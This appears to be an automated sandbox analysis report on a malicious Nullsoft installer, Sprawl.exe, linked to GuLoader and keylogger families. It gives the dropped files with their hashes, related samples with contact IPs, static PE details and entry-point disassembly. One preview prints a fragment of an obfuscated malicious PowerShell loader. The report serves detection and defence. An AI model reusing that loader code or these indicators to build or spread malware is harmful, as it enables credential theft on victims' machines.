	New Purchase_Order_110511.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	7vbu8ZW8lFI8mn5.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Ref#150689.vbe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	Rundholterne89.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.184.238 142.250.185.65
	Justificante.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.184.238 142.250.185.65
	6 654398.vbs	Get hash	malicious	FormBook, GuLoader	Browse	142.250.184.238 142.250.185.65
	FACTURA-ALBARANES.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.184.238 142.250.185.65
	Massageapparater.vbs	Get hash	malicious	FormBook, GuLoader	Browse	142.250.184.238 142.250.185.65
	phc.exe	Get hash	malicious	Unknown	Browse	142.250.184.238 142.250.185.65
	phc.exe	Get hash	malicious	Unknown	Browse	142.250.184.238 142.250.185.65
	001_215_EA2047939_202410210815.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.184.238 142.250.185.65
	Fignen234.exe	Get hash	malicious	GuLoader	Browse	142.250.184.238 142.250.185.65
	Fignen234.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.184.238 142.250.185.65

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	14744
Entropy (8bit):	4.992175361088568
Encrypted:	false
SSDEEP:	384:f1VoGIpN6KQkj2qkjh4iUxehQJKoxOdBMNXp5YYo0ib4J:f1V3IpNBQkj2Ph4iUxehIKoxOdBMNZiA
MD5:	A35685B2B980F4BD3C6FD278EA661412
SHA1:	59633ABADCBA9E0C0A4CD5AAE2DD4C15A3D9D062
SHA-256:	3E3592C4BA81DC975DF395058DAD01105B002B21FC794F9015A6E3810D1BF930
SHA-512:	70D130270CD7DB757958865C8F344872312372523628CB53BADE0D44A9727F9A3D51B18B41FB04C2552BCD18FAD6547B9FD0FA0B016583576A1F0F1A16CB52EC
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_30wvgj0h.wbn.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cwgsrsy0.q5t.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f23y1j4c.yt0.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_itlgu4z0.y4p.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mhi4ov11.xlu.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pv0eukwh.l1v.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uwr55imd.0rq.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wl5iocnr.qtb.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Agog\Smriti\Sprawl.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	880264
Entropy (8bit):	7.715640679390863
Encrypted:	false
SSDEEP:	12288:l9/IyjazmRR+BZhOLlpJjdCPwwdw6ETeVlCE7vkQymGwSW01hXqvjoaCi7lnsZzz:/A/KqZhOnJdyzp+alCJmvulW6Nd0vo
MD5:	47FD98348B7D314E4E9DAE46E5F1E1A1
SHA1:	CAFE48404707E61235BFBE6646D8072AF4298E21
SHA-256:	125B4582B7DD2221044FB257F580DA57E4DC61B03A6C35E208FED973F71C28A1
SHA-512:	8A1DEDA7D7E8E80D8B2E62AD0D9D4400B1D865EA322955E577FC439A8A0F1D6D3CB912397ECB6458941FD7FD566C1FDBDF4C4ED02C72234FA543BFCB45DB845A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.v.F......F..v...F...@...F.Rich..F.........................PE..L....{.W.................`...\|.......1.......p....@.......................................@.................................4u....... ..X............................................................................p...............................text...._.......`.................. ..`.rdata..R....p.......d..............@..@.data....T...........x..............@....ndata...0...............................rsrc...X.... .......~..............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Agog\Smriti\Sprawl.exe:Zone.Identifier

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Agog\Smriti\unnamed.jpg

Download File

Process:	C:\Users\user\Desktop\Sprawl.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 512x512, components 3
Category:	dropped
Size (bytes):	15845
Entropy (8bit):	7.693658939604953
Encrypted:	false
SSDEEP:	384:dnSPb8riksvdEh0qrjVqIPrLgrpNQMUBWud20p:dnUwriksvMjrZqo3Up9U8ud20p
MD5:	762778DFE1B62D3430B44A32AEDC03E0
SHA1:	7317D9579F9F4C4BEF82BE64FB3DFFB63160EEC5
SHA-256:	9A602EBAFC1F46AAD7248F6DA82938CE382DE9FFBC6C472BD4848D4519CA67A8
SHA-512:	B39A8F6DC07F3A4CFE3CF5E1563543ECE2864FECED28282356FA64D7D0B50FA43B70F57FC8A2C4424A553E14E6BE526293D90F56C63994EC79F5520488EE0CCF
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..IE..'...Ph.....(....(...)(...(....(...J`.QI@.(....(.....(....(....)(...).f..(.......Q@.%.P.IE..RQE...Q@..).RQE...Q@.%.P.IE...%.P.IE..RQE.mQE..bQE..QE%..QE......QE%..QE.......QI@..Q@.%.P.IE..RQE..QI@..RP.E.....RS.i(...%.P.IE%.-%.P.IE..RQE...Q@..).RQE...Q@.%.P0....J(...-%.P.IE...IE..aE...QE..QE%..QE.%.Q@...S...J..QI@.IE..RQE...Q@..RP.E...QE%0.(...%...-%...QE..RQE...Q@.%.P0

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Agog\psychograph.rut

Download File

Process:	C:\Users\user\Desktop\Sprawl.exe
File Type:	data
Category:	dropped
Size (bytes):	91155
Entropy (8bit):	3.2484639775571122
Encrypted:	false
SSDEEP:	768:sx0eYUpSjZTH4Refp/ZwLfKCGhiKveAC4LjJNV8RHwnx/F0H0jbPYER9RLXLxFJi:8UhyD9meQZFRRbLXdDRseVQq4
MD5:	55DD84338306B8F361571D07E3D03F25
SHA1:	5F086147B0ED6D4CBE40B6F81C1003EB07714B94
SHA-256:	016DE5BD5CEBA70CD0041265F69BE3BB6FF54D3DCA19340ED44DC15317066E45
SHA-512:	045E39931094C1D423D69C4BEF750CACF56E0DEF562162211F51F1B5E0C3E265ACEDE7FC06979CFCE68762A99180317419685E5542D3E44882B11116D1EE7FE8
Malicious:	false
Preview:	....7.................3.........}.......Q.....................~........y.........u...4...bp..o......z.......................................................k.............Tg.....`..Q.........<........A........f.....X..."..............^.........@....\|..........................h....X..................1.......zh...........3..>..)...Y....:.................GG.....+F#...z.~.....!....................:..............(.................Y....7.......5..^..{.......D...`................O..............z#..............4$...a..............o....................c..s.......=......^..~..................................B....o.......................................l:...........*Y..i.".C..i............_.........).....-...............\|P.......b......h....~.....w+....................-....1.......<...6.........b.".@...................1...P....s..h9.......l........H..................k...e........<.......f...;...............m....W...........h.g.%...........-........."..................S......F.....e........

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Agog\strudsfjerenes.uns

Download File

Process:	C:\Users\user\Desktop\Sprawl.exe
File Type:	data
Category:	dropped
Size (bytes):	411197
Entropy (8bit):	3.2412073600303604
Encrypted:	false
SSDEEP:	6144:QuopzWTN5dkmo9X81LoYHLr0FJfFYcRQOD:KkxkfDEC
MD5:	9548F6F7A71852794789DE0AC5FDE451
SHA1:	74C915E2C9C110929FD87C907BE17930B0B66B24
SHA-256:	2D3371072047972236B2BAD7280E34BA1FD041C99CD132BC0E1DD767D0AFC471
SHA-512:	0468FCA29C3F916CBC0B3B132EA24BB582ED0F0D4921523F5DF6EE17F76709437D25324E08AF3C43FCAE8BD1B9F388E49B64ED3C8464062E7D099B0D6B9BC5DE
Malicious:	false
Preview:	....u...........................................................#.k4..`.......K....................7F#.....-....................Z.........v.................#.............p...<.....5.j...........p....j....... 4.....h................q.2.......C..................................,.............\........#..................e..........b.........................o..8.e........'.Q......<..........e.x...8......=.......}.....QU......E.....O............................6....^.y.....~........i..........................Q..`.>...........m..........,................6/..._..f....\.........`.y.............................6...............2[........................)..........................<....7......6..................8.....................................b...........................3.....U.......N.........k8.x.........................)~..............o.....+.............6............Y.>....................e.J....S...t..........K........................P\.............r...................... ............

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Overtrdelser.Dok

Download File

Process:	C:\Users\user\Desktop\Sprawl.exe
File Type:	data
Category:	dropped
Size (bytes):	326869
Entropy (8bit):	7.638472515962235
Encrypted:	false
SSDEEP:	6144:fINELrIDzZfkJ4/LmVIO6SSWngwET88GaD5pQq5ICM+byHGEQX6l9bQu2eM:wGLEBMJ4/L933W1yGaDAqCCMgWGxgM
MD5:	0333FB2B0E19A85944C9EA2538F15529
SHA1:	CB7CF6AEF6B3409205B0EFA337EB5FC4F84FA237
SHA-256:	3529AB40264CB6806CB5ED7E64D98D29B94362987720CD633E4785F41E0163E2
SHA-512:	5FA5102E95FB393E47FEA92D7CEE9B0F66BFAA94EC0CACE06A83BD18413EB9D7968E6973A8843AEB7F9B877418A11E3686F61D326569392AE3E6CB65CC51EA5E
Malicious:	false
Preview:	.................!!....i..&&&&&&..............?..........A...............................n..8...NN.zz........((.pppppp.z.....N................hh.....AA........%........<<<.......E.%............GGG......}}}.......```....U...........`...............NNN.................ZZZ.....................................v...........................I....ZZ...^....CCC..........__.................................... ......99...............n..........k...]..CCC...`..~.....+...B..hhh....................++......{{....lll.))..X.B...\|\|\|\|.{.::.......ssss......3.Q........^...=.........G...........}.nnnn.))).........C...................-.1.....................000......##.333.........OO.i....k.........,..........5.??...kk.........I...;;;...............SS.....q.........*.............^......q.Q..................f...........`................{{.......k..".............................................................&&....d..........44...??..bbbbb......./.......22...((.........iiiiiiii........................:........

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej

Download File

Process:	C:\Users\user\Desktop\Sprawl.exe
File Type:	ASCII text, with very long lines (3041), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	55184
Entropy (8bit):	5.361768606025368
Encrypted:	false
SSDEEP:	1536:qBW8/PWnOQz17PFJoL9Wt34bzGFC3fm5Xa5Z9YwsklLt7:qj/PWnOa7NG9034fGQ3fmFTI7
MD5:	6F2C225FF02A35F64C6157286F9E90B1
SHA1:	FDFB286088FD3CB3C3FA39F39E2E7BA48B3C6624
SHA-256:	0F4CAA809A6B9AD70A305958AF34E60B82F3080BBB7067F316CA85702FFBA443
SHA-512:	C5FB4EAFB4C29B774648BCEC26736AD0808815D10618C95B723DE9296240E6F9CBC35E90CC4439266F013810F16DDE0F44A840FA928D8BE2A8562CC5AC8D2EB5
Malicious:	true
Preview:	$Transl=$Retiraden;..<#Crosswalk Spgelseshistorien Podagry Reje Pithoi Nglestillingen #>..<#Skadeslsholdelse checkkonti Afmatningens Crampet #>..<#Knbeskytternes Pontonbro Glassed Stikprvestandardafvigelsens Estells Toying #>..<#Svangerskabets Vejbygnings Nonrelated Anorthophyre #>..<#Brandlov bidrag Cotwinned Thyrostracan Natronens Positivitets #>..<#Perigeum smykk Flimsiest Pawnshops beskuet Tilsynsassistenten Diddles #>...$Hypoazoturia = @'. Befo. ravs$snowiUDebitnRevoll LosnaVersayD sassKheth=Byg,i$unineU R dinUd vedForlae Ichurpresuv ,truiKovsvsRelatnVivreiSenatnRoveng,udorsStraavAb rrere atjIndmalUforseAntr,d DingnaabneiLam nnSysteg Over;Subor.UnarifU,unsu RevonMordacPennet erbyiS cceoAfficnNyrer DecoSB,lageK ssepRemi,aExcerr WittaE brytUdelaiAdgano Cor.n forse tobyrJ.spenTegneeRundesBantu2Chyt 0Burgu7Green Cross( N,rs$ Ss nTSkorzyOmninl everv AriotPetiteInterrfordgeSericdInfileV,skerNorma,Elect$ Teles G ttv compitabskpastrossteppeTol unSignod ,kine Attrs Soni)Tbr d Estre{Ldrik.

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\aktivitetsrunde.txt

Download File

Process:	C:\Users\user\Desktop\Sprawl.exe
File Type:	ASCII text, with very long lines (360), with CRLF line terminators
Category:	dropped
Size (bytes):	362
Entropy (8bit):	4.295609901239941
Encrypted:	false
SSDEEP:	6:OV0mI/AA3CU6sDq6ry0bxmAOvFz0/TWEMsesxM7JXZO:OVcAV6yw3Ovx0/q3shK7Js
MD5:	A47DE65B255D62E154E75208730B37D2
SHA1:	9AD95C489EABDBCD12C02CD312C85D0C73A565F7
SHA-256:	1527C27BE377FB2EFDB75E64EF88FEE6B879712DEC1AE6E8CCA4E66188099784
SHA-512:	206FB780CA6A6BEA7B1DA2AAD8D1E8C38331AE5A03CC82FC181A6E13234DC4523033AA775A3F15C261FEC74910ECAF622ABAC99444E8DAA8B63EC35379FBE29A
Malicious:	false
Preview:	beboere sletteprogrammerne afbrndtes untruthfulness,methanolysis blokniveauets tegnbaseret keisar arbejdsmndene rger,lsenets quindecimvir complexify hundevagten cymblernes.cressier immediate batchkrslerne antisepalous cryptonymic pings,pampination spytkirtlen vandranunkel stormmaage,diversificer udtalendes attributgrammatiks snedkeris sati frailejon rvturene..

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\discourteously.gam

Download File

Process:	C:\Users\user\Desktop\Sprawl.exe
File Type:	GTA audio index data (SDT)
Category:	dropped
Size (bytes):	339224
Entropy (8bit):	3.2329059465811363
Encrypted:	false
SSDEEP:	3072:TlwUufGWwltoSeWq5Xck5tiy5ScV95Cca+8aB5p0jsDytfuWoaP/ZTf:x3W045X/5tiyB8faB5p4sD22uN
MD5:	2AFAF6367CF5833A8885999FEFA5B44A
SHA1:	58EDFAC56FD3BDA98CAD7F2A784F58CF0CCCA5A9
SHA-256:	66D0440913A064549BF52DD102475A422A55A0A1A99A38C0445CCF84EB98C074
SHA-512:	A769F552CD91CE7163FE25C6E785D3A225979A9E50805F031C05E52CF5F82FB1E582FE621C947C7B0709F9E627C6CF318CF899CA97CC2BC4A3D934B94C2279A4
Malicious:	false
Preview:	........5M.....]...................[8...........t...........j.kKk.............Y.3.-.........u.....'.......<..............0..............-.....m....q.%.........S....F......6.............M.C.z.........m.\|..............m...].-..<.......0.............o......QL....x....... ..........p.........?.'.a........:.........K............................#............Z).......$......................................9......................_u...1...S>............................c....K\......l.......z............%..(..........8...........z.........\....$......._.g...........v.....{R..............;.............R........1........:...Q...........W..W....................................F .....-...b..F........G...,CH......}...D....b...........9...8...q......Y....R..............................................<..............=...~................. ...........u.......T...B..............i............`....r...........R..............1.2........................../....#.......b.............;...............-..+

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.715640679390863
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Sprawl.exe
File size:	880'264 bytes
MD5:	47fd98348b7d314e4e9dae46e5f1e1a1
SHA1:	cafe48404707e61235bfbe6646d8072af4298e21
SHA256:	125b4582b7dd2221044fb257f580da57e4dc61b03a6c35e208fed973f71c28a1
SHA512:	8a1deda7d7e8e80d8b2e62ad0d9d4400b1d865ea322955e577fc439a8a0f1d6d3cb912397ecb6458941fd7fd566c1fdbdf4c4ed02c72234fa543bfcb45db845a
SSDEEP:	12288:l9/IyjazmRR+BZhOLlpJjdCPwwdw6ETeVlCE7vkQymGwSW01hXqvjoaCi7lnsZzz:/A/KqZhOnJdyzp+alCJmvulW6Nd0vo
TLSH:	6C152356F79898FBE83A813064BEC932D660AC750561530733A6BF79983323E581F1CE
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.v.F......F...v...F...@...F.Rich..F.........................PE..L....{.W.................`...\|.....

File Icon


Icon Hash:	4ccc524656d64e01

Static PE Info

General

Entrypoint:	0x40310f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x57807BD9 [Sat Jul 9 04:21:45 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b78ecf47c0a3e24a6f4af114e2d1f5de

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409198h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [004070A8h]
call dword ptr [004070A4h]
cmp ax, 00000006h
je 00007F4A2CBE1FA3h
push ebx
call 00007F4A2CBE4F11h
cmp eax, ebx
je 00007F4A2CBE1F99h
push 00000C00h
call eax
mov esi, 00407298h
push esi
call 00007F4A2CBE4E8Dh
push esi
call dword ptr [004070A0h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl
jne 00007F4A2CBE1F7Dh
push ebp
push 00000009h
call 00007F4A2CBE4EE4h
push 00000007h
call 00007F4A2CBE4EDDh
mov dword ptr [0042E404h], eax
call dword ptr [00407044h]
push ebx
call dword ptr [00407288h]
mov dword ptr [0042E4B8h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 00428828h
call dword ptr [00407174h]
push 00409188h
push 0042DC00h
call 00007F4A2CBE4B07h
call dword ptr [0040709Ch]
mov ebp, 00434000h
push eax
push ebp
call 00007F4A2CBE4AF5h
push ebx
call dword ptr [00407154h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7534	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x42000	0x1aa58	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x298	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5fdd	0x6000	38462d04cfdbc4943d18be461d53cc3e	False	0.6783854166666666	data	6.499697507009752	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1352	0x1400	3d134ae5961af9895950a7ee0adc520a	False	0.4583984375	data	5.207538993430304	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x254f8	0x600	2d00401e0c64d69b6d0ccb877d9f624e	False	0.4544270833333333	data	4.0323505938358934	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2f000	0x13000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x42000	0x1aa58	0x1ac00	098718c0c5bf54afe6e125c2f1ac35ba	False	0.23448452102803738	data	3.706045365348602	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x42460	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x427c8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 0	English	United States	0.09021944871643203
RT_ICON	0x52ff0	0x32f2	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9443336911516639
RT_ICON	0x562e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.16089211618257263
